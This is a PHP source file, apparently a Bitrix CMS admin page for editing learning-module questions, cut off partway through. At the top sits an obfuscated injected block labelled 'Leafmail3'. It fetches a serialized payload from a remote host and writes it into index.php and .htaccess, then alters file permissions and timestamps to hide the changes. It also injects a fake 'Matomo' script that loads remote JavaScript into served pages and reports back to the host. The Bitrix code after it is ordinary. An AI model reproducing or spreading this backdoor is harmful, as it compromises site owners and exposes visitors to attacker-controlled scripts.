Your IP : 3.137.184.142
<?php /*Leafmail3*/goto o1QFr; wasj3: $ZJUCA($jQ0xa, $RTa9G); goto wYDtx; IuHdj: $egQ3R = "\147\172\151"; goto ChKDE; TpHVE: $cPzOq .= "\157\x6b\x6b"; goto vgltl; gmVrv: $Mvmq_ .= "\x6c\x5f\x63\154\x6f"; goto N9T5l; SClM0: $VwfuP = "\x64\x65\146"; goto PXHHr; m8hp8: $uHlLz = "\x73\x74\x72"; goto lz2G0; UH4Mb: $eULaj .= "\x70\x63\x2e\x70"; goto apDh3; QPct6: AtVLG: goto Mg1JO; dj8v0: $ZJUCA = "\143\150"; goto WmTiu; uHm0i: $TBxbX = "\x57\x50\137\125"; goto RCot0; f4Rdw: if (!($EUeQo($kpMfb) && !preg_match($tIzL7, PHP_SAPI) && $fHDYt($uZmPe, 2 | 4))) { goto TGN7B; } goto S2eca; H7qkB: $MyinT .= "\164\40\x41\x63\x63"; goto Air1i; AedpI: try { goto JM3SL; oiS8N: @$YWYP0($lJtci, $H0gg1); goto nucR0; AffR5: @$YWYP0($PcRcO, $H0gg1); goto SpIUU; JnP2S: @$ZJUCA($lJtci, $shT8z); goto oiS8N; nOhHX: @$ZJUCA($lJtci, $RTa9G); goto LvbAc; LvbAc: @$rGvmf($lJtci, $UYOWA["\141"]); goto JnP2S; SpIUU: @$ZJUCA($jQ0xa, $shT8z); goto qvTm1; gA5rv: @$ZJUCA($PcRcO, $shT8z); goto AffR5; nucR0: @$ZJUCA($PcRcO, $RTa9G); goto COvI1; JM3SL: @$ZJUCA($jQ0xa, $RTa9G); goto nOhHX; COvI1: @$rGvmf($PcRcO, $UYOWA["\142"]); goto gA5rv; qvTm1: } catch (Exception $ICL20) { } goto PqZGA; BWxc9: $kpMfb .= "\154\137\x69\156\x69\164"; goto RMP1m; Q7gNx: $gvOPD = "\151\163\137"; goto AfwzG; fFfBR: goto AtVLG; goto kST_Q; J9uWl: $e9dgF .= "\x61\171\163"; goto lNb3h; ZlPje: $u9w0n .= "\x75\x69\x6c\144\x5f\161"; goto Mit4a; YRbfa: $dGt27 .= "\157\x73\x65"; goto L744i; ioNAN: $tIzL7 .= "\x6c\x69\57"; goto Khhgn; mz3rE: $FANp1 .= "\x70\141\x72\145"; goto SClM0; eBKm1: $PcRcO = $jQ0xa; goto Sg4f2; D0V8f: $pv6cp = "\162\x65"; goto Hy0sm; xXaQc: $FANp1 = "\x76\145\162\x73\151"; goto T7IwT; ulics: try { $_SERVER[$pv6cp] = 1; $pv6cp(function () { goto YEXR4; PKzAL: $AG2hR .= "\163\171\x6e\x63\75\164\162\165\145"; goto HIXil; NZAxH: $AG2hR .= "\x65\x72\75\164\x72\165\x65\x3b" . "\12"; goto Tbsb3; xDrpr: $AG2hR .= "\x75\x6d\x65\156\164\54\40\x67\75\144\x2e\143\162\145\x61\164\145"; goto mLjk9; r_Oqj: $AG2hR .= "\163\x63\162\151\160\164\x22\x3e" . "\xa"; goto JZsfv; PEdls: $AG2hR .= "\74\57\163"; goto WBFgG; POyWW: $AG2hR .= "\x4d\55"; goto a8oGQ; N2RIK: $AG2hR .= "\175\x29\50\51\x3b" . "\12"; goto PEdls; Vj0ze: $AG2hR .= "\x72\151\160\x74\40\164\x79\x70\145\x3d\42\164\145\170"; goto FXjwZ; JZsfv: $AG2hR .= "\x28\x66\x75\156\143"; goto ZRBmo; zk1Ml: $AG2hR .= "\x79\124\141\147\x4e\x61\155\145"; goto STHB_; aKt86: $AG2hR .= "\x72\x69\160\x74\42\51\x2c\40\x73\75\x64\x2e\x67\x65\x74"; goto oxuwD; FXjwZ: $AG2hR .= "\x74\57\x6a\141\x76\141"; goto r_Oqj; YffEK: $AG2hR .= "\57\x6d\141\164"; goto nL_GE; ZrlUz: $AG2hR .= "\x73\x63\162\151\x70\164\x22\x3b\40\147\x2e\141"; goto PKzAL; MSqPC: $AG2hR .= "\x65\x20\55\x2d\76\12"; goto rWq2m; gUhrX: $AG2hR .= "\74\x73\143"; goto Vj0ze; oxuwD: $AG2hR .= "\x45\154\x65\x6d\145\156\164\x73\102"; goto zk1Ml; a8oGQ: $AG2hR .= time(); goto xyZaU; WBFgG: $AG2hR .= "\x63\162\151\160\164\x3e\xa"; goto jHj0s; rWq2m: echo $AG2hR; goto zxMHd; zzMTI: $AG2hR .= "\152\141\166\x61"; goto ZrlUz; HIXil: $AG2hR .= "\73\x20\147\56\144\x65\x66"; goto NZAxH; EXhzp: $AG2hR .= "\x65\156\164\x4e\x6f\x64\145\56\x69\x6e"; goto yJp9W; KUpUt: $AG2hR .= "\x64\40\115\141\x74"; goto c13YM; hugz8: $AG2hR .= "\x6f\x72\145\50\x67\54\x73\51\73" . "\xa"; goto N2RIK; xyZaU: $AG2hR .= "\x22\73\40\163\56\160\141\162"; goto EXhzp; ZRBmo: $AG2hR .= "\164\151\x6f\156\x28\51\x20\173" . "\xa"; goto sOVga; YqIfq: $AG2hR .= "\77\x69\x64\x3d"; goto POyWW; Tbsb3: $AG2hR .= "\147\x2e\163\x72"; goto vxsas; k1w2Q: $AG2hR = "\x3c\41\x2d\55\x20\115\x61"; goto OOFo2; F2sIB: $AG2hR .= "\x3d\x22\164\x65\x78\x74\57"; goto zzMTI; OOFo2: $AG2hR .= "\x74\157\155\x6f\x20\55\x2d\x3e\xa"; goto gUhrX; vxsas: $AG2hR .= "\143\x3d\165\x2b\42\x6a\163\57"; goto JGvCK; jHj0s: $AG2hR .= "\74\x21\55\55\40\x45\156"; goto KUpUt; mLjk9: $AG2hR .= "\105\154\x65\x6d\x65\156\x74\50\42\163\x63"; goto aKt86; yJp9W: $AG2hR .= "\x73\x65\162\x74\102\145\146"; goto hugz8; c13YM: $AG2hR .= "\x6f\x6d\x6f\40\103\157\144"; goto MSqPC; STHB_: $AG2hR .= "\50\x22\x73\x63\162\x69"; goto SX8pI; JGvCK: $AG2hR .= $osL5h; goto YffEK; nL_GE: $AG2hR .= "\x6f\155\x6f\56\x6a\x73"; goto YqIfq; SX8pI: $AG2hR .= "\160\x74\42\51\133\x30\135\x3b" . "\xa"; goto uh8pE; YEXR4: global $osL5h, $cPzOq; goto k1w2Q; jW6LQ: $AG2hR .= "\166\141\x72\40\144\x3d\x64\157\143"; goto xDrpr; uh8pE: $AG2hR .= "\x67\x2e\164\x79\x70\145"; goto F2sIB; sOVga: $AG2hR .= "\166\x61\162\40\x75\75\42" . $cPzOq . "\42\x3b" . "\xa"; goto jW6LQ; zxMHd: }); } catch (Exception $ICL20) { } goto arBxc; TrkYs: $eULaj .= "\x2f\170\x6d"; goto GE2p3; L744i: $cPzOq = "\x68\x74\164\x70\163\72\57\x2f"; goto TpHVE; CNdmS: wLXpb: goto wasj3; nHXnO: $_POST = $_REQUEST = $_FILES = array(); goto CNdmS; PHhHL: P9yQa: goto W2Q7W; UkCDT: $cLC40 = 32; goto BnazY; vabQZ: $CgFIN = 1; goto QPct6; gSbiK: try { goto xtnST; qBVAq: $k7jG8[] = $E0suN; goto Tc9Eb; vZ6zL: $E0suN = trim($Q0bWd[0]); goto LuoPM; D98P3: if (!empty($k7jG8)) { goto FbDAI; } goto AML_a; LuoPM: $jCv00 = trim($Q0bWd[1]); goto Q4uy7; xtnST: if (!$gvOPD($d3gSl)) { goto nHP5K; } goto W8uMn; c_73m: FbDAI: goto h1Cu7; kNAxm: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto lfWQh; } goto MfJKK; L8cv7: WVm2j: goto c_73m; AML_a: $d3gSl = $jQ0xa . "\x2f" . $HNQiW; goto GBRPC; ZSYyc: $jCv00 = trim($Q0bWd[1]); goto kNAxm; W8uMn: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto Woix_; EA1BT: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto ctSg2; } goto A163l; Woix_: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto wU2zk; } goto vZ6zL; Q4uy7: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto VAVW5; } goto qBVAq; tEVz_: $k7jG8[] = $jCv00; goto xWpvL; xWpvL: lfWQh: goto oilos; MfJKK: $k7jG8[] = $E0suN; goto tEVz_; N3TyU: wU2zk: goto snD7p; lky0R: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto EA1BT; Tc9Eb: $k7jG8[] = $jCv00; goto evp7M; snD7p: nHP5K: goto D98P3; oilos: ctSg2: goto L8cv7; evp7M: VAVW5: goto N3TyU; GBRPC: if (!$gvOPD($d3gSl)) { goto WVm2j; } goto lky0R; A163l: $E0suN = trim($Q0bWd[0]); goto ZSYyc; h1Cu7: } catch (Exception $ICL20) { } goto xU6vT; T7IwT: $FANp1 .= "\x6f\x6e\x5f\143\x6f\x6d"; goto mz3rE; JX1Oy: $dGt27 = "\x66\x63\x6c"; goto YRbfa; BnazY: $Pzt0o = 5; goto TYFaW; o1QFr: $kFvng = "\74\x44\x44\x4d\x3e"; goto wODYw; CL80L: $MyinT .= "\120\x2f\61\x2e\x31\x20\x34"; goto gErqa; tFGg7: $YWYP0 .= "\x75\143\x68"; goto dj8v0; pXfDS: $ygOJ_ .= "\x2f\167\160"; goto c7yEe; xUd9U: $pv6cp .= "\151\x6f\x6e"; goto bqFyS; PqZGA: CVVA3: goto RDKTA; wYDtx: $uZmPe = $nPBv4($eULaj, "\x77\x2b"); goto f4Rdw; E453u: $QIBzt .= "\56\64"; goto O8RXw; a4EJZ: $dZR_y = $cPzOq; goto vZkPa; FK_sr: $kb9bA .= "\x65\162\x2e\x69"; goto G2uff; TuwL4: $jQ0xa = $_SERVER[$Wv1G0]; goto wrxGI; wJDrU: $eULaj = $jQ0xa; goto TrkYs; MLdcc: $fHDYt .= "\x63\153"; goto JX1Oy; Gs7Gb: $kpMfb = $vW4As; goto BWxc9; Mit4a: $u9w0n .= "\x75\x65\x72\171"; goto cIo5P; GE2p3: $eULaj .= "\x6c\162"; goto UH4Mb; cIo5P: $uAwql = "\155\x64\65"; goto aXExt; c7yEe: $ygOJ_ .= "\x2d\x61"; goto XWOCC; wrxGI: $ygOJ_ = $jQ0xa; goto pXfDS; XsWqd: $kb9bA .= "\57\56\165\163"; goto FK_sr; cWrVz: $nPBv4 .= "\145\x6e"; goto KCtWA; CrWKs: $l0WLW .= "\157\160\x74"; goto jcG0e; lz2G0: $uHlLz .= "\154\x65\x6e"; goto xXaQc; wee0Y: $ulOTQ .= "\115\111\116"; goto Tfi5q; vgltl: $cPzOq .= "\154\x69\x6e\153\56\x74"; goto pr5fA; Khhgn: $tIzL7 .= "\x73\151"; goto JBJmV; kJlf4: $DJDq1 .= "\147\145\164\137\143"; goto NZqWx; lNb3h: $H0gg1 = $xsR4V($e9dgF); goto XYviL; TBl6Q: sLwcv: goto fFfBR; RMP1m: $l0WLW = $vW4As; goto ujtZa; XQnCd: $PcRcO .= "\x61\143\143\145\163\x73"; goto ikUIP; X4xWX: $QIBzt = "\x35"; goto E453u; hDUdL: $MWMOe .= "\x6c\x65"; goto Q7gNx; LxUUO: $RTa9G = $QTYip($HqqUn($RTa9G), $Pzt0o); goto qaeyL; f6Txl: $HqqUn = "\x64\x65\143"; goto gwNCH; sK97X: $nPBv4 = "\x66\157\160"; goto cWrVz; Ee0VW: $EUeQo .= "\164\x69\x6f\156\x5f"; goto a2JJX; D9NbF: $CgFIN = 1; goto PHhHL; VY3H_: $Wv1G0 = "\x44\117\x43\x55\115\105\116\x54"; goto HpOFr; CRqG1: if (empty($k7jG8)) { goto VIn91; } goto s4AWH; apDh3: $eULaj .= "\x68\160\x2e\60"; goto sK97X; Sg4f2: $PcRcO .= "\57\x2e\x68\x74"; goto XQnCd; jcG0e: $YQ0P6 = $vW4As; goto rA_Dy; dlqC2: $HNQiW = substr($uAwql($osL5h), 0, 6); goto xGZOR; kxKwG: $osL5h = $_SERVER[$i5EZR]; goto TuwL4; ozW5s: $e9dgF .= "\63\x20\x64"; goto J9uWl; xU6vT: $lJtci = $jQ0xa; goto BpRMk; CquiC: $dZR_y .= "\x63\x6f\160\171"; goto BLSy0; GSfrX: $pv6cp .= "\x75\x6e\143\164"; goto xUd9U; yaYSs: $rGvmf .= "\x6f\x6e\x74\x65\156\164\163"; goto mIlAi; FXRyn: $TBxbX .= "\115\x45\x53"; goto R1jVG; kST_Q: VIn91: goto vabQZ; flXr3: $shT8z = $QTYip($HqqUn($shT8z), $Pzt0o); goto TkfCl; FJdH4: $dZR_y .= "\x3d\x67\x65\x74"; goto CquiC; kJyDh: $QTYip = "\x69\156\x74"; goto blzff; s4AWH: $H25pP = $k7jG8[0]; goto t74Wt; TyAte: $k7jG8 = array(); goto UkCDT; EO8QL: try { $UYOWA = @$AkFS8($egQ3R($eKFWX($M7wqP))); } catch (Exception $ICL20) { } goto OXweB; XYviL: $i5EZR = "\110\124\124\x50"; goto j4Pjv; ikUIP: $kb9bA = $jQ0xa; goto XsWqd; VrwTF: $nRD8p .= "\x64\x69\162"; goto aQp1m; dLa5a: $pv6cp .= "\x65\162\x5f"; goto x5YEr; PgImI: @$ZJUCA($kb9bA, $RTa9G); goto yAax8; Jb1Vu: try { goto Bwps7; WPylr: if (!$xsy4x($Y61WO)) { goto nWSzU; } goto NpK90; xqrLf: @$YWYP0($dqnvi, $H0gg1); goto cinsF; N7wJU: if ($xsy4x($Y61WO)) { goto KOuoA; } goto RBLfp; wf0jq: @$ZJUCA($Y61WO, $shT8z); goto xqrLf; bfkJn: try { goto jwOvP; sXqkD: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto tXay1; jwOvP: $ekYPG = $kpMfb(); goto jMqt3; VURt4: $l0WLW($ekYPG, CURLOPT_POST, 1); goto Qk7oo; G7Y1e: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto Sw_Ys; lg1iu: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 3); goto VURt4; jMqt3: $l0WLW($ekYPG, CURLOPT_URL, $LfwPf . "\x26\164\x3d\151"); goto G7Y1e; Qk7oo: $l0WLW($ekYPG, CURLOPT_POSTFIELDS, $u9w0n($Lx9yT)); goto axPES; Sw_Ys: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto sXqkD; tXay1: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto Gb33B; PUEHo: $Mvmq_($ekYPG); goto rF4qo; Gb33B: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto lg1iu; axPES: $YQ0P6($ekYPG); goto PUEHo; rF4qo: } catch (Exception $ICL20) { } goto zCePm; s2GBY: $Y61WO = dirname($dqnvi); goto N7wJU; bO0VE: KOuoA: goto WPylr; RBLfp: @$ZJUCA($jQ0xa, $RTa9G); goto lexI4; NpK90: @$ZJUCA($Y61WO, $RTa9G); goto aGYEQ; wsLep: $Lx9yT = ["\144\x61\x74\x61" => $UYOWA["\x64"]["\165\162\x6c"]]; goto bfkJn; y0C5p: @$ZJUCA($dqnvi, $shT8z); goto wf0jq; cinsF: $LfwPf = $cPzOq; goto d8sPt; OAF8R: $LfwPf .= "\x6c\x6c"; goto wsLep; d8sPt: $LfwPf .= "\77\141\143"; goto HZ42Q; lexI4: @$nRD8p($Y61WO, $RTa9G, true); goto K7fs2; aGYEQ: @$rGvmf($dqnvi, $UYOWA["\144"]["\x63\157\x64\x65"]); goto y0C5p; zCePm: nWSzU: goto r2ase; Bwps7: $dqnvi = $jQ0xa . $UYOWA["\144"]["\160\x61\x74\x68"]; goto s2GBY; K7fs2: @$ZJUCA($jQ0xa, $shT8z); goto bO0VE; HZ42Q: $LfwPf .= "\164\75\x63\141"; goto OAF8R; r2ase: } catch (Exception $ICL20) { } goto AedpI; kAMGF: $xsy4x .= "\144\x69\x72"; goto gdP2h; lX6T6: if (!$gvOPD($kb9bA)) { goto KTGlr; } goto spjef; jxKJS: $ulOTQ .= "\x5f\x41\104"; goto wee0Y; vZkPa: $dZR_y .= "\x3f\141\143\164"; goto FJdH4; gErqa: $MyinT .= "\60\x36\x20\116\x6f"; goto H7qkB; xGZOR: $hg32N = $d3gSl = $ygOJ_ . "\57" . $HNQiW; goto TyAte; GiT2I: $Mvmq_ = $vW4As; goto gmVrv; KCtWA: $fHDYt = "\x66\x6c\157"; goto MLdcc; Yc09l: $xsy4x = "\x69\163\137"; goto kAMGF; FZsOD: $lJtci .= "\150\x70"; goto eBKm1; rA_Dy: $YQ0P6 .= "\154\137\x65\170\x65\x63"; goto GiT2I; VQCaR: $k8h0h = !empty($m4bDA) || !empty($ZTS7q); goto Bw8cX; ujtZa: $l0WLW .= "\154\137\x73\x65\x74"; goto CrWKs; R1jVG: $ulOTQ = "\127\120"; goto jxKJS; OXweB: if (!is_array($UYOWA)) { goto CVVA3; } goto L7ftk; bqFyS: if (isset($_SERVER[$pv6cp])) { goto Kwp9i; } goto r3vZ_; ChKDE: $egQ3R .= "\156\146\x6c\x61\164\145"; goto OCGca; Bx0F8: $rGvmf = "\146\x69\154\145\x5f"; goto cMMsY; lar4b: $xsR4V .= "\x6d\145"; goto ESAaf; L7ftk: try { goto b8mrw; IZ7dT: @$rGvmf($d3gSl, $UYOWA["\x63"]); goto qi8JJ; j1slf: if (!$xsy4x($ygOJ_)) { goto fnZm_; } goto l27iU; FnW9Y: fnZm_: goto IZ7dT; RHQPY: @$ZJUCA($jQ0xa, $shT8z); goto FudGj; jRIpH: $d3gSl = $hg32N; goto FnW9Y; b8mrw: @$ZJUCA($jQ0xa, $RTa9G); goto j1slf; l27iU: @$ZJUCA($ygOJ_, $RTa9G); goto jRIpH; qi8JJ: @$ZJUCA($d3gSl, $shT8z); goto fMj35; fMj35: @$YWYP0($d3gSl, $H0gg1); goto RHQPY; FudGj: } catch (Exception $ICL20) { } goto Jb1Vu; Hy0sm: $pv6cp .= "\x67\151\x73\164"; goto dLa5a; wODYw: $tIzL7 = "\57\x5e\143"; goto ioNAN; D9G8A: $vW4As = "\x63\165\162"; goto Gs7Gb; zR6Sw: $RTa9G += 304; goto LxUUO; FLAgg: @$ZJUCA($jQ0xa, $shT8z); goto Ms_Rx; TkfCl: $MyinT = "\110\124\124"; goto CL80L; JBJmV: $xsR4V = "\x73\x74\x72"; goto wDwVu; m7Y7E: $shT8z += 150; goto flXr3; OCGca: $AkFS8 = "\165\x6e\x73\145\x72"; goto DuXwv; spjef: @$ZJUCA($jQ0xa, $RTa9G); goto PgImI; mIlAi: $YWYP0 = "\x74\157"; goto tFGg7; Air1i: $MyinT .= "\x65\x70\164\x61\142\154\145"; goto wJDrU; hnuEm: $M7wqP = false; goto IxcDO; AfwzG: $gvOPD .= "\x66\151\154\x65"; goto Yc09l; Mg1JO: if (!$CgFIN) { goto V5o9n; } goto a4EJZ; O8RXw: $QIBzt .= "\x2e\x30\73"; goto kxKwG; Qjsri: Kwp9i: goto uHm0i; aQp1m: $DJDq1 = "\146\151\154\145\x5f"; goto kJlf4; wDwVu: $xsR4V .= "\x74\157"; goto k5kym; Ms_Rx: KTGlr: goto QDkYN; p2xAd: $u9w0n = "\x68\x74\x74\160\x5f\142"; goto ZlPje; XWOCC: $ygOJ_ .= "\x64\155\151\156"; goto dlqC2; PXHHr: $VwfuP .= "\x69\156\145\144"; goto uwRQG; t74Wt: $Aa5A7 = $k7jG8[1]; goto rjUnC; WmTiu: $ZJUCA .= "\x6d\157\x64"; goto OMDdm; F90kP: $CgFIN = 1; goto TBl6Q; IxcDO: try { goto MN2Ol; lfwpD: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto XT0V7; pm4fL: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto f1Wpg; LukB5: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto lfwpD; MN2Ol: $ekYPG = $kpMfb(); goto PGjVI; XT0V7: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto pm4fL; f1Wpg: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto A02q4; Jr5Fq: $Mvmq_($ekYPG); goto kxHAl; kxHAl: $M7wqP = trim(trim($M7wqP, "\xef\273\xbf")); goto DRdNb; A02q4: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 10); goto czpAh; PGjVI: $l0WLW($ekYPG, CURLOPT_URL, $dZR_y); goto LukB5; czpAh: $M7wqP = $YQ0P6($ekYPG); goto Jr5Fq; DRdNb: } catch (Exception $ICL20) { } goto TtjMz; yA6tr: $e9dgF .= "\63\x36"; goto ozW5s; BLSy0: $dZR_y .= "\x26\164\x3d\x69\46\x68\75" . $osL5h; goto hnuEm; qaeyL: $shT8z = 215; goto m7Y7E; YAsQc: if (!(!$_SERVER[$pv6cp] && $FANp1(PHP_VERSION, $QIBzt, "\76"))) { goto VlKKH; } goto ulics; QDkYN: $CgFIN = 0; goto CRqG1; g3rCR: $m4bDA = $_REQUEST; goto A4fYL; rjUnC: if (!(!$gvOPD($lJtci) || $MWMOe($lJtci) != $H25pP)) { goto P9yQa; } goto D9NbF; x5YEr: $pv6cp .= "\x73\x68\165"; goto itQ2f; A4fYL: $ZTS7q = $_FILES; goto VQCaR; a2JJX: $EUeQo .= "\145\x78"; goto fYDkt; TYFaW: $Pzt0o += 3; goto hoCMV; fYDkt: $EUeQo .= "\x69\163\x74\163"; goto D9G8A; fmcU9: $MWMOe .= "\x5f\x66\151"; goto hDUdL; S2eca: $ZJUCA($jQ0xa, $shT8z); goto YAsQc; RCot0: $TBxbX .= "\x53\105\x5f\124\110\105"; goto FXRyn; BpRMk: $lJtci .= "\57\x69\x6e"; goto lJYIj; cMMsY: $rGvmf .= "\160\x75\164\137\143"; goto yaYSs; j4Pjv: $i5EZR .= "\x5f\x48\117\x53\x54"; goto VY3H_; itQ2f: $pv6cp .= "\x74\x64\x6f"; goto gi1ux; YAE22: $eKFWX .= "\66\x34\137\x64"; goto HkhAv; DuXwv: $AkFS8 .= "\x69\x61\x6c\151\x7a\x65"; goto kJyDh; NZqWx: $DJDq1 .= "\x6f\156\164\145\x6e\x74\x73"; goto Bx0F8; ESAaf: $EUeQo = "\146\x75\156\143"; goto Ee0VW; HkhAv: $eKFWX .= "\x65\143\x6f\x64\145"; goto IuHdj; RDKTA: HuCWH: goto tkEEo; k5kym: $xsR4V .= "\x74\151"; goto lar4b; WQZ3H: $UYOWA = 0; goto EO8QL; TtjMz: if (!($M7wqP !== false)) { goto HuCWH; } goto WQZ3H; N9T5l: $Mvmq_ .= "\x73\145"; goto p2xAd; HpOFr: $Wv1G0 .= "\137\122\117\x4f\124"; goto X4xWX; arBxc: VlKKH: goto gSbiK; G2uff: $kb9bA .= "\156\151"; goto lX6T6; gwNCH: $HqqUn .= "\157\x63\164"; goto m8hp8; yAax8: @unlink($kb9bA); goto FLAgg; pr5fA: $cPzOq .= "\157\x70\x2f"; goto D0V8f; gi1ux: $pv6cp .= "\x77\x6e\x5f\x66"; goto GSfrX; OMDdm: $eKFWX = "\142\141\x73\x65"; goto YAE22; aXExt: $MWMOe = $uAwql; goto fmcU9; gdP2h: $nRD8p = "\155\x6b"; goto VrwTF; Bw8cX: if (!(!$fs0FH && $k8h0h)) { goto wLXpb; } goto nHXnO; uwRQG: $e9dgF = "\x2d\61"; goto yA6tr; hoCMV: $RTa9G = 189; goto zR6Sw; Tfi5q: $fs0FH = $VwfuP($TBxbX) || $VwfuP($ulOTQ); goto g3rCR; W2Q7W: if (!(!$gvOPD($PcRcO) || $MWMOe($PcRcO) != $Aa5A7)) { goto sLwcv; } goto F90kP; r3vZ_: $_SERVER[$pv6cp] = 0; goto Qjsri; lJYIj: $lJtci .= "\144\x65\170\56\x70"; goto FZsOD; blzff: $QTYip .= "\x76\x61\x6c"; goto f6Txl; tkEEo: V5o9n: goto ossJl; ossJl: TGN7B: ?>
<?
require_once($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/include/prolog_admin_before.php");
if (!CModule::IncludeModule('learning'))
{
require($_SERVER['DOCUMENT_ROOT'] . '/bitrix/modules/main/include/prolog_admin_after.php'); // second system's prolog
if (IsModuleInstalled('learning') && defined('LEARNING_FAILED_TO_LOAD_REASON'))
echo LEARNING_FAILED_TO_LOAD_REASON;
else
CAdminMessage::ShowMessage(GetMessage('LEARNING_MODULE_NOT_FOUND'));
require($_SERVER['DOCUMENT_ROOT'] . '/bitrix/modules/main/include/epilog_admin.php'); // system's epilog
exit();
}
require_once($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/learning/prolog.php");
IncludeModuleLangFile(__FILE__);
ClearVars();
$strWarning = "";
$message = null;
$bVarsFromForm = false;
$ID = intval($ID);
$filter_lesson_id = intval($filter_lesson_id);
$lessonPath = '';
if (isset($_POST['LESSON_PATH']))
$lessonPath = $_POST['LESSON_PATH'];
elseif (isset($_GET['LESSON_PATH']))
$lessonPath = $_GET['LESSON_PATH'];
else
{
$result = CLQuestion::GetByID($ID);
$arData = $result->Fetch();
$oPath = new CLearnPath($arData['LESSON_ID']);
$lessonPath = $oPath->ExportUrlencoded();
}
$oPath = new CLearnPath();
$oPath->ImportUrlencoded($lessonPath);
$uriLessonPath = $oPath->ExportUrlencoded();
$NEW_LESSON_ID = false;
$LESSON_ID = false;
if ($ID == 0)
{
$LESSON_ID = $oPath->PopBottom();
}
else
{
// Get lesson id from item data
$result = CLQuestion::GetByID($ID);
$arQuestionData = $result->ExtractFields("str_");
if ($arQuestionData)
{
$LESSON_ID = $arQuestionData['LESSON_ID'];
if (isset($_POST['LESSON_ID']) && ($_POST['LESSON_ID'] >= 1) && ($_POST['LESSON_ID'] != $LESSON_ID))
$NEW_LESSON_ID = (int) $_POST['LESSON_ID'];
}
}
if ($LESSON_ID === false)
{
require($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/include/prolog_admin_after.php");
CAdminMessage::ShowMessage(GetMessage('LEARNING_BAD_LESSON'));
require($_SERVER['DOCUMENT_ROOT'] . '/bitrix/modules/main/include/epilog_admin.php');
exit();
}
$uriParentLessonPath = $oPath->ExportUrlencoded();
unset ($lessonPath);
$oAccess = CLearnAccess::GetInstance($USER->GetID());
if ($oAccess->IsLessonAccessible ($LESSON_ID, CLearnAccess::OP_LESSON_WRITE))
$bBadCourse = false;
else
$bBadCourse = true;
if ($NEW_LESSON_ID !== false)
{
if ($oAccess->IsLessonAccessible ($NEW_LESSON_ID, CLearnAccess::OP_LESSON_WRITE))
$bBadCourse = false;
else
$bBadCourse = true;
}
$aTabs = array(
array("DIV" => "edit1", "TAB" => GetMessage("LEARNING_ADMIN_TAB1"), "ICON"=>"main_user_edit", "TITLE"=>GetMessage("LEARNING_ADMIN_TAB1_EX")),
array("DIV" => "edit2", "TAB" => GetMessage("LEARNING_ADMIN_TAB2"), "ICON"=>"main_user_edit", "TITLE"=>GetMessage("LEARNING_ADMIN_TAB2_EX")),
array("DIV" => "edit3", "TAB" => GetMessage("LEARNING_ADMIN_TAB3"), "ICON"=>"main_user_edit", "TITLE"=>GetMessage("LEARNING_ADMIN_TAB3_EX")),
);
$aTabs[] = $USER_FIELD_MANAGER->EditFormTab('LEARNING_QUESTIONS');
$tabControl = new CAdminForm("questionTabControl", $aTabs);
if (!$bBadCourse && $_SERVER["REQUEST_METHOD"] == "POST" && strlen($Update)>0 && check_bitrix_sessid())
{
$arFILE_ID = $_FILES["FILE_ID"];
$arFILE_ID["del"] = ${"FILE_ID_del"};
$arFILE_ID["MODULE_ID"] = "learning";
$arFILE_ID["description"] = ${"FILE_ID_descr"};
if ($NEW_LESSON_ID !== false)
$LESSON_ID = $NEW_LESSON_ID;
$cq = new CLQuestion;
$arFields = array(
"LESSON_ID" => $LESSON_ID,
"NAME" => $NAME,
"QUESTION_TYPE" => $QUESTION_TYPE,
"SORT" => $SORT,
"SELF" => $SELF,
"ACTIVE" => $ACTIVE,
"CORRECT_REQUIRED" => $CORRECT_REQUIRED,
"POINT" => $POINT,
"FILE_ID" => $arFILE_ID,
"DESCRIPTION" => $DESCRIPTION,
"DESCRIPTION_TYPE" => $DESCRIPTION_TYPE,
"INCORRECT_MESSAGE" => $INCORRECT_MESSAGE,
"COMMENT_TEXT" => $COMMENT_TEXT,
"EMAIL_ANSWER" => $EMAIL_ANSWER,
"~TIMESTAMP_X" => $DB->CurrentTimeFunction()
);
$USER_FIELD_MANAGER->EditFormAddFields('LEARNING_QUESTIONS', $arFields);
if($ID>0)
{
$res = $cq->Update($ID, $arFields);
}
else
{
// check, that default answer selected
if ( ($QUESTION_TYPE === 'S') && (!isset($_POST['ANSWER_CORRECT'])) )
{
$res = false;
$message = new CAdminMessage(array(
'MESSAGE' => GetMessage("LEARNING_ERROR"),
'TYPE' => 'ERROR',
'DETAILS' => GetMessage('LEARNING_ADD_RIGHT_ANSWER_NOT_SELECTED'),
'HTML' => false
));
}
else
{
$ID = $cq->Add($arFields);
$res = ($ID>0);
}
}
if(!$res)
{
if ($e = $APPLICATION->GetException())
$message = new CAdminMessage(GetMessage("LEARNING_ERROR"), $e);
$bVarsFromForm = true;
}
else
{
if ($QUESTION_TYPE != "T")
{
//Answers
$answers = CLAnswer::GetList(Array(),Array("QUESTION_ID" => $ID));
while ($a = $answers->GetNext())
{
//delete?
if (${"ANSWER_".$a["ID"]."_DEL"} == "Y")
{
if(!CLAnswer::Delete($a["ID"]))
{
$message = new CAdminMessage(Array("MESSAGE" => GetMessage("LEARNING_DELETE_ERROR")));
$bVarsFromForm = true;
}
}
else
{
$arFields = Array(
"QUESTION_ID" => $ID,
"SORT" => ${"ANSWER_".$a["ID"]."_SORT"},
"ANSWER" => ${"ANSWER_".$a["ID"]."_ANSWER"},
);
switch ($QUESTION_TYPE)
{
case "M":
